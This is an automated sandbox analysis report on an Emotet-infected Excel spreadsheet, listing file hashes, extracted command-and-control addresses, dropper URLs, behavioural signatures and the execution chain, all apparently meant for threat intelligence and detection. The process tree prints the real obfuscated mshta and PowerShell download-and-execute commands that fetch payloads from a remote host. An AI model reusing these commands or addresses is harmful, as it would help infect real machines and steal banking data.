emotet | 3d9d856f454202dd099b997b079c0edb6c3b1e2e2379d22cb042a0bde92daa95

General

Target

file 923.xls
Size

36KB
MD5

d2e3fb32e4e815fe2af7c7e49d85cdb1
SHA1

92533e7563698f9e5e0960d182cf74b03f00a8fb
SHA256

3d9d856f454202dd099b997b079c0edb6c3b1e2e2379d22cb042a0bde92daa95
SHA512

285ad6c939be79e8c212615b161264494748c25bf6cf918101fae8e6c3c06a8d2c374b490d9ce3f473855bc23e41c355932a54c8420adaaf70c05087628d9e06

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	840	1008	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

42 1428 mshta.exe
45 3976 powershell.exe
48 3976 powershell.exe
52 3976 powershell.exe
58 2864 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3840 rundll32.exe
1720 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Cmdfjzwbyythjygd\viwyxdfnn.uzn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3364 1428 WerFault.exe mshta.exe

flow	pid	process
42	1428	mshta.exe
45	3976	powershell.exe
48	3976	powershell.exe
52	3976	powershell.exe
58	2864	rundll32.exe

pid	process
3840	rundll32.exe
1720	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Cmdfjzwbyythjygd\viwyxdfnn.uzn	rundll32.exe

pid	pid_target	process	target process
3364	1428	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1008 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
3364	WerFault.exe
2864	rundll32.exe
2864	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3976 powershell.exe
Token: SeDebugPrivilege 3364 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	3364	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE
1008	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1008 wrote to memory of 840	1008	EXCEL.EXE	CMD.EXE
PID 1008 wrote to memory of 840	1008	EXCEL.EXE	CMD.EXE
PID 840 wrote to memory of 1428	840	CMD.EXE	mshta.exe
PID 840 wrote to memory of 1428	840	CMD.EXE	mshta.exe
PID 1428 wrote to memory of 3976	1428	mshta.exe	powershell.exe
PID 1428 wrote to memory of 3976	1428	mshta.exe	powershell.exe
PID 3976 wrote to memory of 3872	3976	powershell.exe	cmd.exe
PID 3976 wrote to memory of 3872	3976	powershell.exe	cmd.exe
PID 3872 wrote to memory of 3840	3872	cmd.exe	rundll32.exe
PID 3872 wrote to memory of 3840	3872	cmd.exe	rundll32.exe
PID 3872 wrote to memory of 3840	3872	cmd.exe	rundll32.exe
PID 3840 wrote to memory of 1720	3840	rundll32.exe	rundll32.exe
PID 3840 wrote to memory of 1720	3840	rundll32.exe	rundll32.exe
PID 3840 wrote to memory of 1720	3840	rundll32.exe	rundll32.exe
PID 1720 wrote to memory of 1140	1720	rundll32.exe	rundll32.exe
PID 1720 wrote to memory of 1140	1720	rundll32.exe	rundll32.exe
PID 1720 wrote to memory of 1140	1720	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2864	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2864	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2864	1140	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file 923.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:3872

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3840

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cmdfjzwbyythjygd\viwyxdfnn.uzn",fDthiXrsqW
8⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cmdfjzwbyythjygd\viwyxdfnn.uzn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2864

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1428 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3364

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
memory/1008-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/1008-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/1008-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-399-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-398-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-397-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-396-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1008-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1140-353-0x00000000032E0000-0x0000000003307000-memory.dmp

Filesize
156KB

Download
memory/1720-356-0x00000000053E0000-0x0000000005407000-memory.dmp

Filesize
156KB

Download
memory/1720-352-0x0000000005220000-0x0000000005247000-memory.dmp

Filesize
156KB

Download
memory/1720-341-0x0000000003030000-0x0000000003057000-memory.dmp

Filesize
156KB

Download
memory/1720-343-0x0000000003140000-0x0000000003167000-memory.dmp

Filesize
156KB

Download
memory/1720-346-0x0000000005000000-0x0000000005027000-memory.dmp

Filesize
156KB

Download
memory/1720-348-0x0000000005160000-0x0000000005187000-memory.dmp

Filesize
156KB

Download
memory/1720-350-0x00000000051C0000-0x00000000051E7000-memory.dmp

Filesize
156KB

Download
memory/2864-366-0x0000000004930000-0x0000000004957000-memory.dmp

Filesize
156KB

Download
memory/2864-360-0x0000000004810000-0x0000000004837000-memory.dmp

Filesize
156KB

Download
memory/2864-362-0x0000000004870000-0x0000000004897000-memory.dmp

Filesize
156KB

Download
memory/2864-364-0x00000000048D0000-0x00000000048F7000-memory.dmp

Filesize
156KB

Download
memory/2864-368-0x00000000049A0000-0x00000000049C7000-memory.dmp

Filesize
156KB

Download
memory/2864-370-0x0000000004A20000-0x0000000004A47000-memory.dmp

Filesize
156KB

Download
memory/3840-339-0x00000000041A0000-0x00000000041C7000-memory.dmp

Filesize
156KB

Download
memory/3976-325-0x000001F72EBC0000-0x000001F72EC40000-memory.dmp

Filesize
512KB

Download
memory/3976-312-0x000001F7491C0000-0x000001F749236000-memory.dmp

Filesize
472KB

Download
memory/3976-301-0x000001F748C70000-0x000001F748CAC000-memory.dmp

Filesize
240KB

Download
memory/3976-284-0x000001F72EBC0000-0x000001F72EC40000-memory.dmp

Filesize
512KB

Download
memory/3976-283-0x000001F72EBC0000-0x000001F72EC40000-memory.dmp

Filesize
512KB

Download
memory/3976-280-0x000001F730560000-0x000001F730582000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads